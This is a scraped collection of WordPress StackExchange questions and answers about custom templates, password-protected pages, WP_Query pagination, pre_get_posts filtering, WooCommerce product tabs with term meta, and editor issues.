[ { "answer_id": 267178, "author": "Waqas Ali Shah", "author_id": 119704, "author_profile": "https://wordpress.stackexchange.com/users/119704", "pm_score": 0, "selected": false, "text": "<p>Use get_template_part instead of get_testPage();</p>\n\n<pre><code>&lt;?php get_template_part( 'loop', 'index' ); ?&gt;\n</code></pre>\n\n<p>File name should be like this loop-index.php.</p>\n" }, { "answer_id": 267180, "author": "dheeraj Kumar", "author_id": 110140, "author_profile": "https://wordpress.stackexchange.com/users/110140", "pm_score": 0, "selected": false, "text": "<p>it's very easy to password protected to any page and post in WordPress.</p>\n\n<p>first go on admin panel , click on all pages and quick edit any page you want to password protected and \n<a href=\"https://i.stack.imgur.com/NjBET.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NjBET.png\" alt=\"enter image description here\"></a></p>\n" }, { "answer_id": 267183, "author": "Karadjordje", "author_id": 119868, "author_profile": "https://wordpress.stackexchange.com/users/119868", "pm_score": 3, "selected": true, "text": "<p>Okay so I made it work with include this is my updated code:</p>\n\n<pre><code>&lt;?php /* Template Name: pw-protect */ ?&gt;\n\n&lt;?php\n global $post;\n get_header();\n\n if ( ! post_password_required( $post ) ) {\n // Your custom code should here\n include('indiPartnership.php');\n\n\n }else{\n // we will show password form here\n echo get_the_password_form();\n }\n\n?&gt;\n</code></pre>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267174", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119868/" ]
Hello guys I'm new to Wordpress and I'm having some issues. I'm making a custom theme and I need one of my pages to be password protected. I've read Wordpress codex on the subject and all the threads I found here but none of them helped me. I've made custom template that I use for my page. My custom template is mostly hard coded and doesn't have the\_content. This is my custom template <https://jsbin.com/qayeso/edit?html> When I add password to a page using this template nothing happens. After reading stuff online I had the following idea. I made another template and wanted to call my old template into it for password. This is the code: ``` <?php /* Template Name: PwProtect */ ?> <?php global $post; if ( ! post_password_required( $post ) ) { // Your custom code should here echo get_testPage(); }else{ // we will show password form here echo get_the_password_form(); } ?> ``` But when I try this I get the following error: > > Fatal error: Call to undefined function get\_testPage() in > C:\wamp\www\fresenius\wp-content\themes\fresenius\indiPartnership.php > on line 8 > > > Is there a way to make this work ? Can I make my whole custom template password protected.
Okay so I made it work with include this is my updated code: ``` <?php /* Template Name: pw-protect */ ?> <?php global $post; get_header(); if ( ! post_password_required( $post ) ) { // Your custom code should here include('indiPartnership.php'); }else{ // we will show password form here echo get_the_password_form(); } ?> ```
267,190
<p>Having read 'don't use query_posts', I've also read that it's ok to use 'for displaying a list of posts or custom-post-type posts on a page (using a page template), and you want to make pagination of those posts work'.</p> <p>So, in wanting to use it for exactly that, my code is:</p> <pre><code>&lt;?php $page = (get_query_var('paged')) ? get_query_var('paged') : 1; query_posts("&amp;post_type=host&amp;showposts=10&amp;orderby=title&amp;order=asc&amp;paged=$page"); while (have_posts()) : the_post();?&gt; &lt;p&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/p&gt; &lt;?php endwhile ?&gt; </code></pre> <p>Not being smart enough to know, I'm wondering if there's a better alternative.</p>
[ { "answer_id": 267235, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 0, "selected": false, "text": "<p>As you should never use <code>query_posts()</code>, you can try the <code>WP_Query</code>:</p>\n\n<pre><code>&lt;?php \n$page = (get_query_var('paged')) ? get_query_var('paged') : 1;\n$my_query = new WP_Query( array(\n 'post_type' =&gt; 'host',\n 'posts_per_page' =&gt; 10,\n 'order_by' =&gt; 'title',\n 'order' =&gt; 'ASC',\n 'paged' =&gt; $paged,\n )\n );\nif ($my_query-&gt;have_posts()) {\n while ($my_query-&gt;have_posts()) {\n $my_query-&gt;the_post();?&gt;\n &lt;p&gt;&lt;a href=\"&lt;?php the_permalink(); ?&gt;\"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/p&gt;&lt;?php\n }\n wp_reset_postdata();\n}?&gt;\n</code></pre>\n\n<p>This acts just like your code, without having to use <code>query_posts()</code>.</p>\n" }, { "answer_id": 267240, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 0, "selected": false, "text": "<p>Put this code past your main loop:</p>\n\n<pre><code>&lt;?php\n$paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;\n\n$query_args = array(\n 'post_type' =&gt; 'post',\n 'posts_per_page' =&gt; 10,\n 'paged' =&gt; $paged,\n 'orderby' =&gt; 'title',\n 'order' =&gt; 'ASC',\n );\n\n$custom_query = new WP_Query( $query_args );\n\nif ( $custom_query-&gt;have_posts() ) { ?&gt;\n &lt;div&gt;&lt;?php\n while ( $custom_query-&gt;have_posts() ) { \n $custom_query-&gt;the_post(); ?&gt;\n &lt;a href=\"&lt;?php the_permalink(); ?&gt;\"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;br&gt;&lt;?php \n } ?&gt;\n &lt;/div&gt;&lt;?php\n // Pagination\n if ($custom_query-&gt;max_num_pages &gt; 1) { ?&gt;\n &lt;nav class=\"prev-next-posts\"&gt;\n &lt;div class=\"prev-posts-link\"&gt;\n &lt;?php echo get_next_posts_link( '&lt;br&gt;Previous', $custom_query-&gt;max_num_pages ); ?&gt;\n &lt;/div&gt;\n &lt;div class=\"next-posts-link\"&gt;\n &lt;?php echo get_previous_posts_link( '&lt;br&gt;Next' ); ?&gt;\n &lt;/div&gt;\n &lt;/nav&gt;&lt;?php \n } // End of Pagination\n} else { ?&gt;\n &lt;p&gt;&lt;?php echo 'No posts found'; ?&gt;&lt;/p&gt;&lt;?php\n}\nwp_reset_postdata();\n?&gt;\n</code></pre>\n\n<p>It provides pagination, as well. You may change tags to make it compatible with your page format.</p>\n" }, { "answer_id": 267633, "author": "glvr", "author_id": 103213, "author_profile": "https://wordpress.stackexchange.com/users/103213", "pm_score": 1, "selected": false, "text": "<p>Thanks to those who've suggested fixes.</p>\n\n<p>I couldn't get my normal pagination working with either, but did find an alternate solution which seems to work and which I'll include here as possible help to others (because I've seen various requests for similar).</p>\n\n<pre><code>&lt;?php\n$wp_query = new WP_Query();\n$wp_query-&gt;query('post_type=host&amp;sort_by=title&amp;order=ASC&amp;showposts=1&amp;paged='.$paged );\nget_template_part( 'page-templates/partial/paginate' );\n\nwhile ($wp_query-&gt;have_posts()) : $wp_query-&gt;the_post();\necho \"&lt;p&gt;\";\nthe_title();\necho \"&lt;/p&gt;\";\nendwhile;\n\nget_template_part( 'page-templates/partial/paginate' );\nwp_reset_postdata();\n?&gt;\n</code></pre>\n\n<p>The contents of the included partial page template are:</p>\n\n<pre><code>&lt;?php\n// Inserts block of numbered links to other posts, on posts/post summaries and search pages.\n\nif (function_exists(\"pagination\")) {pagination($additional_loop-&gt;max_num_pages);}\n\n?&gt;\n</code></pre>\n\n<p>And the function is:</p>\n\n<pre><code>function pagination($pages = '', $range = 3)\n{\n$showitems = ($range * 2)+1;\n\nglobal $paged;\nif(empty($paged)) $paged = 1;\n\nif($pages == '')\n{\nglobal $wp_query;\n$pages = $wp_query-&gt;max_num_pages;\nif(!$pages)\n{\n$pages = 1;\n}\n}\n\nif(1 != $pages)\n{\necho \"&lt;div class=\\\"pagination\\\"&gt;&lt;span&gt;Page \".$paged.\" of \".$pages.\"&lt;/span&gt;\";\nif($paged &gt; 2 &amp;&amp; $paged &gt; $range+1 &amp;&amp; $showitems &lt; $pages) echo \" &lt;a href='\".get_pagenum_link(1).\"'&gt;&amp;laquo; First&lt;/a&gt; \";\nif($paged &gt; 1 &amp;&amp; $showitems &lt; $pages) echo \" &lt;a href='\".get_pagenum_link($paged - 1).\"'&gt;&amp;lsaquo; Previous&lt;/a&gt; \";\n\nfor ($i=1; $i &lt;= $pages; $i++)\n{\nif (1 != $pages &amp;&amp;(!($i &gt;= $paged+$range+1 || $i &lt;= $paged-$range-1) || $pages &lt;= $showitems))\n{\n echo ($paged == $i)? \"&lt;span class=\\\"current\\\"&gt; \".$i.\" &lt;/span&gt;\":\"&lt;a href='\".get_pagenum_link($i).\"' class=\\\"inactive\\\"&gt; \".$i.\" &lt;/a&gt;\";\n}\n}\n\nif ($paged &lt; $pages &amp;&amp; $showitems &lt; $pages) echo \" &lt;a href=\\\"\".get_pagenum_link($paged + 1).\"\\\"&gt;Next &amp;rsaquo;&lt;/a&gt; \";\nif ($paged &lt; $pages-1 &amp;&amp; $paged+$range-1 &lt; $pages &amp;&amp; $showitems &lt; $pages) echo \" &lt;a href='\".get_pagenum_link($pages).\"'&gt;Last &amp;raquo;&lt;/a&gt; \";\necho \"&lt;/div&gt;&lt;!-- /pagination --&gt;\\n\";\n}\n}\n</code></pre>\n\n<p>I don't claim credit, nor pretend to understand enough about how/why this works. And I'm puzzled that in the query, if '$wp_query' is renamed (to something like 'the_query') the pagination vanishes.</p>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267190", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/103213/" ]
Having read 'don't use query\_posts', I've also read that it's ok to use 'for displaying a list of posts or custom-post-type posts on a page (using a page template), and you want to make pagination of those posts work'. So, in wanting to use it for exactly that, my code is: ``` <?php $page = (get_query_var('paged')) ? get_query_var('paged') : 1; query_posts("&post_type=host&showposts=10&orderby=title&order=asc&paged=$page"); while (have_posts()) : the_post();?> <p><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></p> <?php endwhile ?> ``` Not being smart enough to know, I'm wondering if there's a better alternative.
Thanks to those who've suggested fixes. I couldn't get my normal pagination working with either, but did find an alternate solution which seems to work and which I'll include here as possible help to others (because I've seen various requests for similar). ``` <?php $wp_query = new WP_Query(); $wp_query->query('post_type=host&sort_by=title&order=ASC&showposts=1&paged='.$paged ); get_template_part( 'page-templates/partial/paginate' ); while ($wp_query->have_posts()) : $wp_query->the_post(); echo "<p>"; the_title(); echo "</p>"; endwhile; get_template_part( 'page-templates/partial/paginate' ); wp_reset_postdata(); ?> ``` The contents of the included partial page template are: ``` <?php // Inserts block of numbered links to other posts, on posts/post summaries and search pages. if (function_exists("pagination")) {pagination($additional_loop->max_num_pages);} ?> ``` And the function is: ``` function pagination($pages = '', $range = 3) { $showitems = ($range * 2)+1; global $paged; if(empty($paged)) $paged = 1; if($pages == '') { global $wp_query; $pages = $wp_query->max_num_pages; if(!$pages) { $pages = 1; } } if(1 != $pages) { echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>"; if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo " <a href='".get_pagenum_link(1)."'>&laquo; First</a> "; if($paged > 1 && $showitems < $pages) echo " <a href='".get_pagenum_link($paged - 1)."'>&lsaquo; Previous</a> "; for ($i=1; $i <= $pages; $i++) { if (1 != $pages &&(!($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems)) { echo ($paged == $i)? "<span class=\"current\"> ".$i." </span>":"<a href='".get_pagenum_link($i)."' class=\"inactive\"> ".$i." </a>"; } } if ($paged < $pages && $showitems < $pages) echo " <a href=\"".get_pagenum_link($paged + 1)."\">Next &rsaquo;</a> "; if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo " <a href='".get_pagenum_link($pages)."'>Last &raquo;</a> "; echo "</div><!-- /pagination -->\n"; } } ``` I don't claim credit, nor pretend to understand enough about how/why this works. And I'm puzzled that in the query, if '$wp\_query' is renamed (to something like 'the\_query') the pagination vanishes.
267,194
<p><strong>My Situation :</strong></p> <p>I have a custom post type in my theme, called <code>article</code>. </p> <p>My website has a dozen of categories, which i publish my posts in, and 1 <strong>specific</strong> category (named <code>BLOG</code>) just to publish <code>article</code> in it (has no <code>post</code> in it, only <code>article</code>).</p> <p>My articles have different structure, so i can't show them in the same list that I show normal posts in archives. So, i decided to show articles only in <code>BLOG</code> category, and the normal posts in the rest of the categories.</p> <p>This is the normal loop i have in my archives.php:</p> <pre><code>if ( have_posts() ) { while ( have_posts() ) { the_post(); the_title(); } } </code></pre> <p>And this goes in my theme's <code>functions.php</code>:</p> <pre><code>function archive_filtering($query){ if ( $query-&gt;is_main_query() &amp;&amp; $query-&gt;have_posts()){ $query-&gt;set('post_type', 'article' ); } } </code></pre> <p><strong>My Problem :</strong> </p> <p>I expect the above code to check to see if there is a post in this category, if there is no posts in it, then we might be in <code>BLOG</code> category. So, it should include the <code>article</code> post type in the query and then output it.</p> <p>But it doesn't seem to work. Is this the proper approach? Is there any way to do this?</p> <p>Thanks!</p>
[ { "answer_id": 267358, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<p>The reason your code isn't working is because by the time archive.php runs, the <code>pre_get_posts</code> hook has already fired.</p>\n\n<p>You can easily accomplish the task in your functions.php file:</p>\n\n<pre><code>add_action( 'pre_get_posts', 'wpse_pre_get_posts' );\nfunction wpse_pre_get_posts( $query ) {\n remove_action( 'pre_get_posts', 'wpse_pre_get_posts' );\n //* $query-&gt;have_posts() will always return false from this hook\n //* So get the posts with the query to check if they're empty\n $posts = get_posts( $query-&gt;query );\n if( empty( $posts ) &amp;&amp; $query-&gt;is_main_query() ) {\n $query-&gt;set( 'post_type', 'article' );\n }\n}\n</code></pre>\n\n<p>And then your archive.php would be a simple loop:</p>\n\n<pre><code>if( have_posts() ) :\n while( have_posts() ) :\n the_post(); \n the_title();\n endwhile;\nendif;\n</code></pre>\n\n<p>This will run the query twice per request, which I wouldn't do, but offhand I can't see another way to do what you want.</p>\n\n<p>Thanks @Milo. Edited because at the pre_get_posts hook, the query hasn't run yet. Duh.</p>\n" }, { "answer_id": 267368, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": false, "text": "<p>The problem in your scenario is that you can't know what changes need to be made to the query until after the query runs. Of course, after it runs, it's too late to make the changes!</p>\n\n<p>You mentioned that you don't know what that single category all the articles are in might be. Well, the simplest way to solve this is to change that. You need some way to store that choice, so you can check if that's the category currently being requested, and make adjustments before the query is run.</p>\n\n<pre><code>add_action( 'pre_get_posts', 'wpd_check_cat' );\nfunction wpd_check_cat( $query ) {\n if( $query-&gt;is_category()\n &amp;&amp; isset( $query-&gt;query_vars['category_name'] )\n &amp;&amp; 'blog' == $query-&gt;query_vars['category_name'] ){\n $query-&gt;set( 'post_type', 'article' );\n }\n}\n</code></pre>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267194", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/94498/" ]
**My Situation :** I have a custom post type in my theme, called `article`. My website has a dozen of categories, which i publish my posts in, and 1 **specific** category (named `BLOG`) just to publish `article` in it (has no `post` in it, only `article`). My articles have different structure, so i can't show them in the same list that I show normal posts in archives. So, i decided to show articles only in `BLOG` category, and the normal posts in the rest of the categories. This is the normal loop i have in my archives.php: ``` if ( have_posts() ) { while ( have_posts() ) { the_post(); the_title(); } } ``` And this goes in my theme's `functions.php`: ``` function archive_filtering($query){ if ( $query->is_main_query() && $query->have_posts()){ $query->set('post_type', 'article' ); } } ``` **My Problem :** I expect the above code to check to see if there is a post in this category, if there is no posts in it, then we might be in `BLOG` category. So, it should include the `article` post type in the query and then output it. But it doesn't seem to work. Is this the proper approach? Is there any way to do this? Thanks!
The reason your code isn't working is because by the time archive.php runs, the `pre_get_posts` hook has already fired. You can easily accomplish the task in your functions.php file: ``` add_action( 'pre_get_posts', 'wpse_pre_get_posts' ); function wpse_pre_get_posts( $query ) { remove_action( 'pre_get_posts', 'wpse_pre_get_posts' ); //* $query->have_posts() will always return false from this hook //* So get the posts with the query to check if they're empty $posts = get_posts( $query->query ); if( empty( $posts ) && $query->is_main_query() ) { $query->set( 'post_type', 'article' ); } } ``` And then your archive.php would be a simple loop: ``` if( have_posts() ) : while( have_posts() ) : the_post(); the_title(); endwhile; endif; ``` This will run the query twice per request, which I wouldn't do, but offhand I can't see another way to do what you want. Thanks @Milo. Edited because at the pre\_get\_posts hook, the query hasn't run yet. Duh.
267,204
<p>Forgive me – my Wordpress/PHP skills are hilariously rudimentary, so I may not use the correct terminology.</p> <p>I have added a custom tab to the WooCommerce single product page and need it to display a number (sometimes single, sometimes multiple) of term meta values related to a custom taxonomy, 'book-author'. These values are created in a WYSIWYG editor and contain HTML formatting. Each 'book-author' has an author bio (the term meta 'wpcf-author-biography'), and each WooCommerce product has one or more 'book-authors' attributed to it.</p> <p>This is the code I'm currently using:</p> <pre><code>// Add author bio tab add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' ); function woo_new_product_tab( $tabs ) { // Adds the new tab $tabs['author_tab'] = array( 'title' =&gt; __( 'About the author', 'woocommerce' ), 'priority' =&gt; 50, 'callback' =&gt; 'woo_new_product_tab_content' ); return $tabs; } // Add the content function woo_new_product_tab_content() { $terms = get_the_terms(get_the_ID(), 'book-author' ); if ( ! empty( $terms ) &amp;&amp; ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $all_term_meta = get_term_meta($term-&gt;term_id, 'wpcf-author-biography', false); print_r($all_term_meta); } } } </code></pre> <p>It took me forever to get to this point, and while the relevant data is finally being output, the frontend result leaves a lot to be desired. This is how it ends up:</p> <pre><code>&lt;div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"&gt; Array ( [0] =&amp;gt; XX staff writer&amp;nbsp;&lt;strong&gt;John Doe&lt;/strong&gt;&amp;nbsp;has covered everything from men’s&amp;nbsp;style and grooming to food, drinks and travel. John has also interviewed&amp;nbsp;some of the biggest names in film, television and music. ) Array ( [0] =&amp;gt; &lt;div class="woocommerce-tabs wc-tabs-wrapper"&gt; &lt;div id="tab-test_tab" class="woocommerce-Tabs-panel woocommerce-Tabs-panel-- test_tab panel entry-content wc-tab" style="display: none;"&gt; &lt;strong&gt;Jane Doe&amp;nbsp;&lt;/strong&gt;is an author and university lecturer&amp;nbsp;in underwater basket-weaving. She has recently completed a PhD. &lt;/div&gt; &lt;/div&gt; ) &lt;/div&gt; </code></pre> <p>While the tab itself is created without any issues, as you can see, I'm getting some rogue <code>Arrays</code> being displayed as well as some other guff, and the second term meta value is for some reason being stuck in its own <em>hidden</em> tab wrapper, when it should appear in the same tab. </p> <p>Obviously I'm not going about this the right way otherwise I wouldn't be here, so any help or push in the right direction would be greatly appreciated. </p> <p>Additionally, if there's any way to implement a condition so that if there is no 'book-author' attributed to the product, no 'About the author' tab appears, that would be most helpful...</p> <p>Thanks in advance!</p> <p><strong>Edit:</strong> Based on the advice given by WebElaine I tried using a <code>foreach</code> instead of <code>print_r</code>:</p> <pre><code>function woo_new_product_tab_content() { $terms = get_the_terms(get_the_ID(), 'book-author' ); if ( ! empty( $terms ) &amp;&amp; ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $all_term_meta = get_term_meta($term-&gt;term_id, 'wpcf-author-biography', false); foreach($all_term_meta as $meta) { echo $meta[0]; //tried with return as well with no success } } } } </code></pre> <p>This yields the following results:</p> <pre><code>&lt;div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"&gt; G&amp;lt; &lt;/div&gt; </code></pre> <p>If I remove the <code>[0]</code> after <code>$meta</code>, we manage to get rid of the ugly characters and stray <code>Array</code>, but I still have the issue of my second author's info getting lost:</p> <pre><code>&lt;div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"&gt; XX staff writer&amp;nbsp;&lt;strong&gt;John Doe&lt;/strong&gt;&amp;nbsp;has covered everything from men’s&amp;nbsp;style and grooming to food, drinks and travel. John has also interviewed&amp;nbsp;some of the biggest names in film, television and music. &lt;div class="woocommerce-tabs wc-tabs-wrapper"&gt; &lt;div id="tab-test_tab" class="woocommerce-Tabs-panel woocommerce-Tabs-panel-- test_tab panel entry-content wc-tab" style="display: none;"&gt; &lt;strong&gt;Jane Doe&amp;nbsp;&lt;/strong&gt;is an author and university lecturer&amp;nbsp;in underwater basket-weaving. She has recently completed a PhD. &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
[ { "answer_id": 267218, "author": "Five Carrots", "author_id": 119873, "author_profile": "https://wordpress.stackexchange.com/users/119873", "pm_score": 2, "selected": false, "text": "<p>For anyone else with this annoying problem: </p>\n\n<p>deactivated and removed plugin from server, moved the plugin file to a new plugin directory folder with a different name, (same plugin name, same shortcode) activated plugin. Now new code being used. </p>\n\n<p>No idea why Wordpress was holding onto the old code, but now I don't care because my problem is solved. Actually I do care, but I can't spend any more time on this now that it is \"fixed\".</p>\n" }, { "answer_id": 403774, "author": "Wendy", "author_id": 212126, "author_profile": "https://wordpress.stackexchange.com/users/212126", "pm_score": 0, "selected": false, "text": "<p>I was having the exact same issue and it turns out that I was uploading the file to the wrong folder! Don't I feel dumb!</p>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267204", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119877/" ]
Forgive me – my Wordpress/PHP skills are hilariously rudimentary, so I may not use the correct terminology. I have added a custom tab to the WooCommerce single product page and need it to display a number (sometimes single, sometimes multiple) of term meta values related to a custom taxonomy, 'book-author'. These values are created in a WYSIWYG editor and contain HTML formatting. Each 'book-author' has an author bio (the term meta 'wpcf-author-biography'), and each WooCommerce product has one or more 'book-authors' attributed to it. This is the code I'm currently using: ``` // Add author bio tab add_filter( 'woocommerce_product_tabs', 'woo_new_product_tab' ); function woo_new_product_tab( $tabs ) { // Adds the new tab $tabs['author_tab'] = array( 'title' => __( 'About the author', 'woocommerce' ), 'priority' => 50, 'callback' => 'woo_new_product_tab_content' ); return $tabs; } // Add the content function woo_new_product_tab_content() { $terms = get_the_terms(get_the_ID(), 'book-author' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $all_term_meta = get_term_meta($term->term_id, 'wpcf-author-biography', false); print_r($all_term_meta); } } } ``` It took me forever to get to this point, and while the relevant data is finally being output, the frontend result leaves a lot to be desired. This is how it ends up: ``` <div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"> Array ( [0] =&gt; XX staff writer&nbsp;<strong>John Doe</strong>&nbsp;has covered everything from men’s&nbsp;style and grooming to food, drinks and travel. John has also interviewed&nbsp;some of the biggest names in film, television and music. ) Array ( [0] =&gt; <div class="woocommerce-tabs wc-tabs-wrapper"> <div id="tab-test_tab" class="woocommerce-Tabs-panel woocommerce-Tabs-panel-- test_tab panel entry-content wc-tab" style="display: none;"> <strong>Jane Doe&nbsp;</strong>is an author and university lecturer&nbsp;in underwater basket-weaving. She has recently completed a PhD. </div> </div> ) </div> ``` While the tab itself is created without any issues, as you can see, I'm getting some rogue `Arrays` being displayed as well as some other guff, and the second term meta value is for some reason being stuck in its own *hidden* tab wrapper, when it should appear in the same tab. Obviously I'm not going about this the right way otherwise I wouldn't be here, so any help or push in the right direction would be greatly appreciated. Additionally, if there's any way to implement a condition so that if there is no 'book-author' attributed to the product, no 'About the author' tab appears, that would be most helpful... Thanks in advance! **Edit:** Based on the advice given by WebElaine I tried using a `foreach` instead of `print_r`: ``` function woo_new_product_tab_content() { $terms = get_the_terms(get_the_ID(), 'book-author' ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){ foreach ( $terms as $term ) { $all_term_meta = get_term_meta($term->term_id, 'wpcf-author-biography', false); foreach($all_term_meta as $meta) { echo $meta[0]; //tried with return as well with no success } } } } ``` This yields the following results: ``` <div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"> G&lt; </div> ``` If I remove the `[0]` after `$meta`, we manage to get rid of the ugly characters and stray `Array`, but I still have the issue of my second author's info getting lost: ``` <div class="woocommerce-Tabs-panel woocommerce-Tabs-panel--author_tab panel entry-content wc-tab" id="tab-author_tab" role="tabpanel" aria- labelledby="tab-title-author_tab" style="display: block;"> XX staff writer&nbsp;<strong>John Doe</strong>&nbsp;has covered everything from men’s&nbsp;style and grooming to food, drinks and travel. John has also interviewed&nbsp;some of the biggest names in film, television and music. <div class="woocommerce-tabs wc-tabs-wrapper"> <div id="tab-test_tab" class="woocommerce-Tabs-panel woocommerce-Tabs-panel-- test_tab panel entry-content wc-tab" style="display: none;"> <strong>Jane Doe&nbsp;</strong>is an author and university lecturer&nbsp;in underwater basket-weaving. She has recently completed a PhD. </div> </div> </div> ```
For anyone else with this annoying problem: deactivated and removed plugin from server, moved the plugin file to a new plugin directory folder with a different name, (same plugin name, same shortcode) activated plugin. Now new code being used. No idea why Wordpress was holding onto the old code, but now I don't care because my problem is solved. Actually I do care, but I can't spend any more time on this now that it is "fixed".
267,211
<p>OK. This has probably been asked quite a few times, but here it is again. Everything I find on the web is on how to create a custom template for category, which I don't want, and the rest doesn't work. I want to create a custom template for single post, to have plain and simple selection of templates available. One of the blog posts said</p> <blockquote> <p>locate the single.php and make a copy and call it something like single-newspost.php</p> </blockquote> <p>Which I did. And then, I should make a php statement like this one</p> <pre><code>&lt;?php /* Single Post Template:News Post */ ?&gt; </code></pre> <p>Which I also did. But it didn't work. My guess is- there must also be something in the functions.php , but my knowledge is very limited. </p>
[ { "answer_id": 267218, "author": "Five Carrots", "author_id": 119873, "author_profile": "https://wordpress.stackexchange.com/users/119873", "pm_score": 2, "selected": false, "text": "<p>For anyone else with this annoying problem: </p>\n\n<p>deactivated and removed plugin from server, moved the plugin file to a new plugin directory folder with a different name, (same plugin name, same shortcode) activated plugin. Now new code being used. </p>\n\n<p>No idea why Wordpress was holding onto the old code, but now I don't care because my problem is solved. Actually I do care, but I can't spend any more time on this now that it is \"fixed\".</p>\n" }, { "answer_id": 403774, "author": "Wendy", "author_id": 212126, "author_profile": "https://wordpress.stackexchange.com/users/212126", "pm_score": 0, "selected": false, "text": "<p>I was having the exact same issue and it turns out that I was uploading the file to the wrong folder! Don't I feel dumb!</p>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267211", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/80929/" ]
OK. This has probably been asked quite a few times, but here it is again. Everything I find on the web is on how to create a custom template for category, which I don't want, and the rest doesn't work. I want to create a custom template for single post, to have plain and simple selection of templates available. One of the blog posts said > > locate the single.php and make a copy and call it something like single-newspost.php > > > Which I did. And then, I should make a php statement like this one ``` <?php /* Single Post Template:News Post */ ?> ``` Which I also did. But it didn't work. My guess is- there must also be something in the functions.php , but my knowledge is very limited.
For anyone else with this annoying problem: deactivated and removed plugin from server, moved the plugin file to a new plugin directory folder with a different name, (same plugin name, same shortcode) activated plugin. Now new code being used. No idea why Wordpress was holding onto the old code, but now I don't care because my problem is solved. Actually I do care, but I can't spend any more time on this now that it is "fixed".
267,251
<p>After noodling around on the web to figure out how to add additional jquery features to a WP page, a question follows. After 'enqueue-ing' a js/jquery file in the theme's function.php file and then adding some js/jquery (see example below) directly onto a page via the edit text feature in the control panel to call the extended jquery feature in the enqueue-ed file, the desired feature works on the page. Is it considered bad practice to add js/jquery scripts in their tags directly to a page?</p> <p>Example:</p> <pre><code>&lt;script&gt; jQuery(document).ready(function( $ ) { $("#someID").somePlugin(); }); &lt;/script&gt; </code></pre>
[ { "answer_id": 267513, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>Have you tried Ctrl-V (paste), after clicking in the edit window where you want things to be inserted?</p>\n\n<p>How about a right-click, then paste?</p>\n\n<p>Does 'paste' work outside of the WP editing screen (Notepad, for instance)?</p>\n\n<p>Do you have the proper privileges (Author, when you are the Author of the post; Editor, or Admin)?</p>\n\n<p>What if you create a new post? Can you paste there?</p>\n\n<p>Are you sure there is something in your clipboard to paste?</p>\n\n<p>See, more detail helps.....</p>\n\n<p>Good luck.</p>\n" }, { "answer_id": 267760, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 1, "selected": false, "text": "<p>Can you please try clearing out your cache and cookies using the guide below?</p>\n\n<p><a href=\"http://en.support.wordpress.com/browser-issues/#clear-your-cache-and-cookies\" rel=\"nofollow noreferrer\">http://en.support.wordpress.com/browser-issues/#clear-your-cache-and-cookies</a></p>\n\n<p>Also, please make sure your browser is updated to the most recent version:</p>\n\n<p><a href=\"http://browsehappy.com\" rel=\"nofollow noreferrer\">http://browsehappy.com</a></p>\n\n<p>Then, finally try testing on browsers like Google Chrome and Firefox.</p>\n\n<p>Also can you check if copying works in <strong><code>Text Mode</code></strong> or not ?</p>\n\n<hr>\n\n<p><strong>Update</strong> : May be there is some plugin thats causing the issue. Try disabling all the plugin at once. And enable them one by one to detect the plugin that's causing the issue. </p>\n\n<hr>\n\n<p><strong>Update</strong> : Change your theme to Wordpress default Twenty Seventeen theme and check if it solves your problem. If it does then there is some problem with the theme.</p>\n" } ]
2017/05/17
[ "https://wordpress.stackexchange.com/questions/267251", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119905/" ]
